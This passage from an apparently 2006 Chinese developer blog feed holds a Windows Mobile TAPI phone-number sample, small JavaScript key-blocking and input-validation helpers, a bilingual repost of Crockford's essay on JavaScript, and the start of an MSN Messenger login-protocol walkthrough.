<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; placAddressCaps = (LINEADDRESSCAPS*)pCapBuf;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; placAddressCaps-&gt;dwTotalSize = dwCapBufSize;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = lineGetAddressCaps(hLineApp, dwTAPILineDeviceID, dwAddressID, dwAPIVersion, 0, placAddressCaps);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (0 == lResult)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (szNumber)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; szNumber[0] = _T('\0');</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXIT_ON_FALSE(0 != placAddressCaps-&gt;dwAddressSize);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // A non-zero dwAddressSize means a phone number was found<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ASSERT(0 != placAddressCaps-&gt;dwAddressOffset);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PWCHAR tsAddress = (WCHAR*)(((BYTE*)placAddressCaps)+placAddressCaps-&gt;dwAddressOffset);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StringCchCopy(szNumber, cchNumber, tsAddress);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Record the allowed forwarding modes<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (pdwCallFwdModes)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *pdwCallFwdModes = placAddressCaps-&gt;dwForwardModes;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = S_OK;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete[] pCapBuf;<BR>&nbsp;&nbsp;&nbsp; } // End if ()</P>
<P>FuncExit:<BR>&nbsp;&nbsp;&nbsp; lineShutdown(hLineApp);</P>
<P>&nbsp;&nbsp;&nbsp; return hr;<BR>}</P>
<P>&nbsp;</P>
<P>// szNumber - Out Buffer for the phone number</P>
<P>//cchNumber - size of sznumber in characters</P>
<P>// nLineNumber - which phone line (1 or 2) to get the number for<BR>HRESULT SHGetPhoneNumber(LPTSTR szNumber, UINT cchNumber, UINT nLineNumber)<BR>{<BR>&nbsp;&nbsp;&nbsp; return SHReadLineAddressCaps(szNumber, cchNumber, NULL, nLineNumber);<BR>}</P>
<P><BR>int WINAPI WinMain(&nbsp;HINSTANCE hInstance,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HINSTANCE hPrevInstance,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPTSTR&nbsp;&nbsp;&nbsp; lpCmdLine,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nCmdShow)<BR>{<BR>&nbsp;TCHAR tcNum[MAX_PATH]={0};<BR>&nbsp;SHGetPhoneNumber(tcNum,MAX_PATH,1);</P>
<P>&nbsp;MessageBox(NULL,tcNum,_T("Number"),MB_OK);<BR>&nbsp;<BR>&nbsp;return 0;<BR>}<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=277" /> 
	  <id>http://www.openx.cn/default.asp?id=277</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[一些脚本,正好有用上]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-05-28T21:51:43+08:00</updated>
	  <published>2006-05-28T21:51:43+08:00</published>
		  <summary type="html"><![CDATA[<P>//禁止一些键<BR>&nbsp;function DisableKeyDown(){ <BR>&nbsp;&nbsp;if ((window.event.altKey)&&((window.event.keyCode==37)|| (window.event.keyCode==39))){ <BR>&nbsp;&nbsp;&nbsp;event.returnValue=false; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;if (event.keyCode==116){ //F5&nbsp; <BR>&nbsp;&nbsp;&nbsp;event.keyCode=0; <BR>&nbsp;&nbsp;&nbsp;event.returnValue=false; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;if (event.keyCode==122){ //F11<BR>&nbsp;&nbsp;&nbsp;event.keyCode=0; <BR>&nbsp;&nbsp;&nbsp;event.returnValue=false; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;if ((event.ctrlKey)&&(event.keyCode==7)){ //Ctrl+n <BR>&nbsp;&nbsp;&nbsp;event.returnValue=false; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;if ((event.shiftKey)&&(event.keyCode==121)){ //shift+F10 <BR>&nbsp;&nbsp;&nbsp;event.returnValue=false; <BR>&nbsp;&nbsp;} <BR>&nbsp;}</P>
<P>&nbsp;</P>
<P>//是否中文<BR>&nbsp;function IsCnChar(str)<BR>&nbsp;{<BR>&nbsp;&nbsp;var reg = /^[\u4E00-\u9FA5]+$/;<BR>&nbsp;&nbsp;if (!reg.test(str))<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;return false;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;return true;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;//是否英文<BR>&nbsp;function IsEnChar(str)<BR>&nbsp;{<BR>&nbsp;&nbsp;var reg = /^[a-zA-Z]+$/;<BR>&nbsp;&nbsp;if (!reg.test(str))<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;return false;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;return true;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;//是否双字节（包括中文）<BR>&nbsp;function IsDoubleChar(str)<BR>&nbsp;{<BR>&nbsp;&nbsp;var reg = /^[^\x00-\xff]+$/;<BR>&nbsp;&nbsp;if (!reg.test(str))<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;return false;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;return true;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;//是否包含中文<BR>&nbsp;function IsHasCnChar(str)<BR>&nbsp;{<BR>&nbsp;&nbsp;var reg = /[^\x00-\xff]/;<BR>&nbsp;&nbsp;if (reg.test(str))<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;return true;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}</P>
<P>&nbsp;</P>
<P>//判断是否有效手机号码<BR>&nbsp;function IsMobile(str)<BR>&nbsp;{<BR>&nbsp;&nbsp;var reg = /^13[0-9]{9}$/;<BR>&nbsp;&nbsp;if (!reg.test(str))<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;return false;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;return true;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;}</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=276" /> 
	  <id>http://www.openx.cn/default.asp?id=276</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[JavaScript：世界上误解最深的语言]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-05-26T08:58:07+08:00</updated>
	  <published>2006-05-26T08:58:07+08:00</published>
		  <summary type="html"><![CDATA[<P>JavaScript, aka Mocha, aka LiveScript, aka JScript, aka ECMAScript, is one of the world's most popular programming languages. Virtually every personal computer in the world has at least one JavaScript interpreter installed on it and in active use. JavaScript's popularity is due entirely to its role as the scripting language of the WWW.</P>
<P>JavaScript，或者叫 Mocha，或者叫 LiveScript，或者叫 JScript，又或者叫 ECMAScript，是世界上最流行的编程语言之一。事实上世界上的每一台个人电脑都安装并在频繁使用至少一个JavaScript解释器。JavaScript的流行完全是由于他在WWW脚本语言领域中的地位决定的。 </P>
<P>Despite its popularity, few know that JavaScript is a very nice dynamic object-oriented general-purpose programming language. How can this be a secret? Why is this language so misunderstood?</P>
<P>尽管它很流行，但是很少有人知道JavaScript是一个非常棒的动态面向对象通用编程语言。这居然能成为一个秘密！这门语言为什么被误解如此之深？</P>
<P>The Name名字</P>
<P>The Java- prefix suggests that JavaScript is somehow related to Java, that it is a subset or less capable version of Java. It seems that the name was intentionally selected to create confusion, and from confusion comes misunderstanding. JavaScript is not interpreted Java. Java is interpreted Java. JavaScript is a different language.</P>
<P>Java- 前缀很容易使人联想到Java，并认为它是Java的子集或简化版的Java。看起来最初给它选这个名字是别有用心的，是故意混淆概念、故意制造"误解"的。JavaScript不是解释执行的Java。Java是解释执行的Java。JavaScript是另外一种语言。</P>
<P>JavaScript has a syntactic similarity to Java, much as Java has to C. But it is no more a subset of Java than Java is a subset of C. It is better than Java in the applications that Java (fka Oak) was originally intended for.</P>
<P>JavaScript的语法和Java有相似之处，这就像Java的语法和C很相像一样。但是它不是Java的子集，就像Java不是C的子集一样。它在Java（Oak）最初打算进军的领域中比Java更好。</P>
<P>JavaScript was not developed at Sun Microsystems, the home of Java. JavaScript was developed at Netscape. It was originally called LiveScript, but that name wasn't confusing enough.</P>
<P>JavaScript不是Sun Microsystems的产品，Sun是Java的家。JavaScript是在Netscape被开发出来的。它最初叫LiveScript，嗯……还是这个名字好。</P>
<P>The -Script suffix suggests that it is not a real programming language, that a scripting language is less than a programming language. But it is really a matter of specialization. Compared to C, JavaScript trades performance for expressive power and dynamism.</P>
<P>-Script后缀让人认为他不是一门真正的编程语言，和一门"编程语言"还有相当的差距。但是这只是应用领域的问题。和C相比，JavaScript是牺牲了性能但换来了丰富的表现力和灵活的形态。</P>
<P>Lisp in C's Clothing披着C皮的Lisp</P>
<P>JavaScript's C-lik&#101; syntax, including curly braces and the clunky for statement, makes it appear to be an ordinary procedural language. This is misleading because JavaScript has more in common with functional languages lik&#101; Lisp or Scheme than with C or Java. It has arrays instead of lists and objects instead of property lists. Functions are first class. It has closures. You get lambdas without having to balance all those parens.</P>
<P>JavaScript的类C语法，包括大括号和语句的形式，让它看起来像普通的面向过程编程语言。这是一种误解，因为JavaScript和函数式语言，比如 Lisp 或 Scheme，有更多的相似之处，而不是和C或Java。它使用数组而不是列表，使用对象而不是属性列表。函数是第一位的，它有闭包（closures 怎么翻译？？），另外你还可以使用lambda表达式。 </P>
<P>Typeca&#115;ting类型转换</P>
<P>JavaScript was designed to run in Netscape Navigator. Its success there led to it becoming standard equipment in virtually all web browsers. This has resulted in typeca&#115;ting. JavaScript is the George Reeves of programming languages. JavaScript is well suited to a large class of non-Web-related applications</P>
<P>JavaScript最初被设计成在Netscape Navigator中运行，它在Navigator中的成功引领它成为事实上所有web浏览器的标准装备。这就造就了"类型转换"。JavaScript是编程语言中的 George Reeves（超人），是大量非web程序的称职之选。</P>
<P>Moving Target移动靶</P>
<P>The first versions of JavaScript were quite weak. They lacked exception handling, inner functions, and inheritance. In its present form, it is now a complete object-oriented programming language. But many opinions of the language are based on its immature forms.</P>
<P>JavaScript的最初几版非常弱，没有异常处理，没有内部函数和继承。现如今，它已经成为完全面向对象的编程语言。但是这门语言的许多思想是基于它不成熟的形式的。</P>
<P>The ECMA committee that has stewardship over the language is developing extensions which, while well intentioned, will aggravate one of the language's biggest problems: There are already too many versions. This creates confusion.</P>
<P>ECMA委员会，这门语言的管家，正在对它进行扩展，也在蓄意恶化它最大的问题：有太多的版本。这是混乱的根源。</P>
<P>Design Errors设计上的错误</P>
<P>No programming language is perfect. JavaScript has its share of design errors, such as the overloading of + to mean both addition and concatenation with type coercion, and the error-prone with statement should be avoided. The reserved word policies are much too strict. Semicolon insertion was a huge mistake, as was the notation for literal regular expressions. These mistakes have led to programming errors, and called the design of the language as a whole into question. Fortunately, many of these problems can be mitigated with a good lint program.</P>
<P>没有什么编程语言是完美的。JavaScript也有它设计上的错误，比如重载的+号随着类型的不同既表示"相加"又表示"连接"，和本该避免的有错误倾向的 with 语句。它的保留字策略过于严格。分号的插入是一个巨大的错误，比如作为字面正则表达式的符号时。这些失误已直接导致编程中的错误，也使这门语言的整体设计遭人质疑。还好，这些问题中有许多都可以在良好的 lint 程序中得以缓解。</P>
<P>The design of the language on the whole is quite sound. Surprisingly, the ECMAScript committee does not appear to be interested in correcting these problems. Perhaps they are more interested in making new ones.</P>
<P>这门语言的整体设计（上的问题）是相当明显的。奇怪的是ECMAScript委员会并没有对修正其中存在的问题表现出太大的兴趣，也许他们更热衷于制造新的问题。</P>
<P>Lousy Implementations糟糕的实现</P>
<P>Some of the earlier implementations of JavaScript were quite buggy. This reflected badly on the language. Compounding that, those implementations were embedded in horribly buggy web browsers.</P>
<P>JavaScript的一些早期实现有许多bug，这反过来对语言本身产生了很坏的影响。更糟糕的是这些满是bug的实现是嵌入在满是bug的web浏览器中的。</P>
<P>Bad Books糟糕的书</P>
<P>Nearly all of the books about JavaScript are quite awful. They contain errors, poor examples, and promote bad practices. Important features of the language are often explained poorly, or left out entirely. I have reviewed dozens of JavaScript books, and I can only recommend one: JavaScript: The Definitive Guide (4th Edition) by David Flanagan. (Attention authors: If you have written a good one, please send me a review copy.)</P>
<P>几乎所有的JavaScript书都是相当可怕的。它们包含错误，包含不好的例子，并鼓励不好的做法。JavaScript语言的一些重要特性它们要么没有解释清楚，要么根本就没有提及。我看过很多JavaScript的书，但我只能推荐一本：David Flanagan著的 JavaScript: The Definitive Guide (4th Edition) （《JavaScript权威指南 第四版》）。（作者们请注意：如果你们写出了好书请发给我一份副本，我给你们校对。）</P>
<P>Substandard Standard“准标准”的标准</P>
<P>The official specification for the language is published by ECMA. The specification is of extremely poor quality. It is difficult to read and very difficult to understand. This has been a contributor to the Bad Book problem because authors have been unable to use the standard document to improve their own understanding of the language. ECMA and the TC39 committee should be deeply embarrassed.</P>
<P>ECMA公布的官方语言规范的质量极其的差。不仅难读而且极其难懂。它可为那些"糟糕的书"做出了不小的贡献，因为那些作者无法通过这个标准文档来更深地理解这门语言。ECMA和TC39应该为此感到非常尴尬。 </P>
<P>Amateurs业余者</P>
<P><BR>Most of the people writing in JavaScript are not programmers. They lack the training and discipline to write good programs. JavaScript has so much expressive power that they are able to do useful things in it, anyway. This has given JavaScript a reputation of being strictly for the amateurs, that it is not suitable for professional programming. This is simply not the case.</P>
<P>使用JavaScript的人大多不是程序员，他们缺少写良好程序的培训和训练。JavaScript有非常强大的表现力，不管怎样他们也能使用它做有用的事情。这给了JavaScript一个”全然适合业余爱好者而不适合专业程序员“的名声。这很明显是一个错误。</P>
<P>Object-Oriented面向对象</P>
<P>Is JavaScript object-oriented? It has objects which can contain data and methods that act upon that data. Objects can contain other objects. It does not have classes, but it does have constructors which do what classes do, including acting as containers for class variables and methods. It does not have class-oriented inheritance, but it does have prototype-oriented inheritance.</P>
<P>JavaScript是面向对象的吗？它有对象，它的对象可以包含数据以及对数据进行操作的方法，对象也可以包含其他的对象。它没有类，但是它有构造函数来做类的事情，包括声明类的变量和方法。它没有面向类的继承，但是他有面向原型的继承。</P>
<P>The two main ways of building up object systems are by inheritance (is-a) and by aggregation (has-a). JavaScript does both, but its dynamic nature allows it to excel at aggregation.</P>
<P>构建对象系统的两大主要方法是继承（is-a）和聚合（has-a）。这两者JavaScript都有，但是它的动态天性允许有比聚合更好的实现方式。</P>
<P>Some argue that JavaScript is not truly object oriented because it does not provide information hiding. That is, objects cannot have private variables and private methods: All members are public.</P>
<P>一些关于JavaScript不是真的面向对象的争论其理由是它没有提供信息隐藏。也就是说JavaScript的对象没有私有变量和私有方法：它的所有成员都是公开的。</P>
<P>But it turns out that JavaScript objects can have private variables and private methods. (Click here now to find out how.) Of course, few understand this because JavaScript is the world's most misunderstood programming language.</P>
<P>但是事实是JavaScript 的对象可以有私有变量和私有方法（点击这里来看如何实现）。当然，之所以很少有人知道这个是因为JavaScript是世界上误解最深的语言嘛。</P>
<P>Some argue that JavaScript is not truly object oriented because it does not provide inheritance. But it turns out that JavaScript supports not only classical inheritance, but other code reuse patterns as well.</P>
<P>另一些关于JavaScript不是真的面向对象的争论其理由是它没有提供继承。但是事实是JavaScript不但支持经典的继承，而且支持其他一些代码重用的模式。</P>
<P>Copyright 2001 Douglas Crockford. All Rights Reserved Wrrrldwide.</P>
<P>版权所有</P>
<P>原文链接：<A href="http://www.crockford.com/javascript/javascript.html">http://www.crockford.com/javascript/javascript.html</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=275" /> 
	  <id>http://www.openx.cn/default.asp?id=275</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MSN Messenger协议开发：认证阶段]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-05-25T14:29:22+08:00</updated>
	  <published>2006-05-25T14:29:22+08:00</published>
		  <summary type="html"><![CDATA[<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">MSN的认证阶段包括登录到MSN即时通讯服务器并且取得好友列表。<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">&nbsp;<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">MSN即时通讯软件的协议是基于ASCII码的协议。第一个阶段包括连接到MSN即时通软件的服务器。在这个阶段我们应该连接到服务器“messenger.hotmail.com”的1863端口（MSN即时通讯软件通过1863端口进行工作）。一旦连接上以后，我们就可以一步步开始登录过程了。<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">&nbsp;<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">步骤<SPAN lang=EN-US>1：</SPAN></SPAN></B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">验证<SPAN lang=EN-US>MSN的版本。客户端（即我们的MSN软件）列出及向服务器发送它可以支持的版本，然后等待服务器的回应。<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; VER 0 MSNP7 MSNP6 MSNP5 MSNP4 CVRO</SPAN><SPAN lang=EN-US style="FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">在<SPAN lang=EN-US>MSN协议中，伴随着每个命令都有一个</SPAN></SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">“</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">试验<SPAN lang=EN-US>ID</SPAN></SPAN><SPAN lang=EN-US style="mso-font-kerning: 0pt; mso-ascii-font-family: 宋体">”</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">被发送。此实验<SPAN lang=EN-US>ID从0开始，并且当每次服务器成功的对客户端的命令做回应时，都会增加。<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">服务器的回应如下<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; VER 0 MSNP7 MSNP6 MSNP5 MSNP4<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">现在客户端（<SPAN lang=EN-US>MSN）和服务器之间确定了它们之间将要进行通讯的版本。<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">步骤<SPAN lang=EN-US>2：</SPAN></SPAN></B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">客户端（<SPAN lang=EN-US>MSN）向服务器发送一个请求，要求服务器提供它所支持的<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">认证时需要的安全包的名字。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; INF 1<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">MSN在发送密码时会将密码加密，保证如有人监控你的端口时，密码不会轻易的泄露。<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">服务器的回应如下<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; INF 1 MD5<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">MD5在这里是服务器当前支持的安全包的名字。<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">步骤<SPAN lang=EN-US>3：</SPAN></SPAN></B><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">客户端<SPAN lang=EN-US>(MSN)将向服务器发送用户ID<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; USR 2 MD5 I ideal_wang@hotmail.com<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">然后服务器将检验它是否包含有验证所需的此用户的所有相关信息。如没有的话，服务器将会发送如下回应：</SPAN><SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.0pt"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; XFR 2 NS 64.4.13.55:1863 0<o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">意思为客户端<SPAN lang=EN-US>(MSN)应该连接到NOTIFICATION服务器,地址和端口分别为64.4.13.55:1863。<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN style="FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">我们关闭当前的连接并且在连接到新的服务器<SPAN lang=EN-US>64.4.13.55时重复以下步骤<o:p></o:p></SPAN></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; VER 3 MSNP7 MSNP6 MSNP5 MSNP4 CVRO<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&lt;&lt;&lt; VER 3 MSNP7 MSNP6 MSNP5 MSNP4<o:p></o:p></SPAN></P>
<P class=MsoNormal style="BACKGROUND: #e6e6e6; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><SPAN lang=EN-US style="BACKGROUND: #e6e6e6; FONT-FAMILY: 'Courier New'; mso-font-kerning: 0pt">&gt;&gt;&gt; INF 4<o:p></o:p></SPAN></P>
